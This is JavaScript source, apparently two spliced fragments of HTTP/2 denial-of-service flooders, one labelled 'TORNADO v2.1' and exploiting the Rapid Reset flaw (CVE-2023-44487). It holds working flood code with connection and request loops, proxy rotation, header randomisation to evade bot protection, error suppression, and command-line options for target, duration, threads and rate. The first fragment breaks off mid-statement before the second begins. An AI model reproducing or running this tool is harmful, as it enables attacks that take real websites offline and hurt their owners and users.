maxDeflateDynamicTableSize: 4294967295, createConnection: () => tlsConn, socket: connection, }); client.settings({ headerTableSize: 65536, maxConcurrentStreams: 10000, initialWindowSize: 6291456, maxHeaderListSize: 65536, enablePush: false }); setInterval(() => { client.on("connect", () => { const dynHeaders = { ...headers, ...rateHeaders2[Math.floor(Math.random()*rateHeaders.length)], ...rateHeaders[Math.floor(Math.random()*rateHeaders.length)] }; for (let i = 0; i < args.Rate; i++) { const request = client.request(dynHeaders) request.on("response", response => { //console.log("Response:", response); request.close(); request.destroy(); return }); request.end(); } }); }); client.on("close", () => { client.destroy(); connection.destroy(); return }); }),function (error, response, body) { }; } const KillScript = () => process.exit(1); setTimeout(KillScript, args.time * 1000);// made by @rapidreset aka mitigations for mesh botnet const net = require('net'); const tls = require('tls'); const HPACK = require('hpack'); const cluster = require('cluster'); const fs = require('fs'); const os = require('os'); const crypto = require('crypto'); const { exec } = require('child_process'); const ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError', 'ParserError', 'TimeoutError', 'JSONError', 'URLError', 'InvalidURL', 'ProxyError']; const ignoreCodes = ['SELF_SIGNED_CERT_IN_CHAIN', 'ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT', 'EPROTO', 'EAI_AGAIN', 'EHOSTDOWN', 'ENETRESET', 'ENETUNREACH', 'ENONET', 'ENOTCONN', 'ENOTFOUND', 'EAI_NODATA', 'EAI_NONAME', 'EADDRNOTAVAIL', 'EAFNOSUPPORT', 'EALREADY', 'EBADF', 'ECONNABORTED', 'EDESTADDRREQ', 'EDQUOT', 'EFAULT', 'EHOSTUNREACH', 'EIDRM', 'EILSEQ', 'EINPROGRESS', 'EINTR', 'EINVAL', 'EIO', 'EISCONN', 'EMFILE', 'EMLINK', 'EMSGSIZE', 'ENAMETOOLONG', 'ENETDOWN', 'ENOBUFS', 'ENODEV', 'ENOENT', 'ENOMEM', 'ENOPROTOOPT', 'ENOSPC', 'ENOSYS', 'ENOTDIR', 'ENOTEMPTY', 'ENOTSOCK', 'EOPNOTSUPP', 'EPERM', 'EPIPE', 'EPROTONOSUPPORT', 'ERANGE', 'EROFS', 'ESHUTDOWN', 'ESPIPE', 'ESRCH', 'ETIME', 'ETXTBSY', 'EXDEV', 'UNKNOWN', 'DEPTH_ZERO_SELF_SIGNED_CERT', 'UNABLE_TO_VERIFY_LEAF_SIGNATURE', 'CERT_HAS_EXPIRED', 'CERT_NOT_YET_VALID', 'ERR_SOCKET_BAD_PORT']; require("events").EventEmitter.defaultMaxListeners = Number.MAX_VALUE; process .setMaxListeners(0) .on('uncaughtException', function (e) { console.log(e) if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false; }) .on('unhandledRejection', function (e) { if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false; }) .on('warning', e => { if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false; }) .on("SIGHUP", () => { return 1; }) .on("SIGCHILD", () => { return 1; }); const statusesQ = [] let statuses = {} let isFull = process.argv.includes('--full'); let custom_table = 65535; let custom_window = 6291456; let custom_header = 262144; let custom_update = 15663105; let timer = 0; const blockedDomain = [".gov", ".edu"]; const timestamp = Date.now(); const timestampString = timestamp.toString().substring(0, 10); const currentDate = new Date(); const targetDate = new Date('2024-03-30'); const PREFACE = "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"; const reqmethod = process.argv[2]; const target = process.argv[3]; const time = process.argv[4]; const threads = process.argv[5]; const ratelimit = process.argv[6]; const proxyfile = process.argv[7]; const queryIndex = process.argv.indexOf('--query'); const query = queryIndex !== -1 && queryIndex + 1 < process.argv.length ? process.argv[queryIndex + 1] : undefined; const bfmFlagIndex = process.argv.indexOf('--bfm'); const bfmFlag = bfmFlagIndex !== -1 && bfmFlagIndex + 1 < process.argv.length ? process.argv[bfmFlagIndex + 1] : undefined; const delayIndex = process.argv.indexOf('--delay'); const delay = delayIndex !== -1 && delayIndex + 1 < process.argv.length ? parseInt(process.argv[delayIndex + 1]) : 0; const cookieIndex = process.argv.indexOf('--cookie'); const cookieValue = cookieIndex !== -1 && cookieIndex + 1 < process.argv.length ? process.argv[cookieIndex + 1] : undefined; const refererIndex = process.argv.indexOf('--referer'); const refererValue = refererIndex !== -1 && refererIndex + 1 < process.argv.length ? process.argv[refererIndex + 1] : undefined; const postdataIndex = process.argv.indexOf('--postdata'); const postdata = postdataIndex !== -1 && postdataIndex + 1 < process.argv.length ? process.argv[postdataIndex + 1] : undefined; const randrateIndex = process.argv.indexOf('--randrate'); const randrate = randrateIndex !== -1 && randrateIndex + 1 < process.argv.length ? process.argv[randrateIndex + 1] : undefined; const customHeadersIndex = process.argv.indexOf('--header'); const customHeaders = customHeadersIndex !== -1 && customHeadersIndex + 1 < process.argv.length ? process.argv[customHeadersIndex + 1] : undefined; const customIPindex = process.argv.indexOf('--ip'); const customIP = customIPindex !== -1 && customIPindex + 1 < process.argv.length ? process.argv[customIPindex + 1] : undefined; const customUAindex = process.argv.indexOf('--useragent'); const customUA = customUAindex !== -1 && customUAindex + 1 < process.argv.length ? process.argv[customUAindex + 1] : undefined; const forceHttpIndex = process.argv.indexOf('--http'); const useLegitHeaders = process.argv.includes('--legit'); const forceHttp = forceHttpIndex !== -1 && forceHttpIndex + 1 < process.argv.length ? process.argv[forceHttpIndex + 1] == "mix" ? undefined : parseInt(process.argv[forceHttpIndex + 1]) : "2"; const debugMode = process.argv.includes('--debug') && forceHttp != 1; if (!reqmethod || !target || !time || !threads || !ratelimit || !proxyfile) { console.clear(); console.error(` TORNADO v2.1 Method With RST STREAM (CVE-2023-44487) // Updated: 01.05.2024 // With love @resetcve Developers to method: @resetcve - developer method // @shiftwise - recoding method How to use & example: node ${process.argv[1]}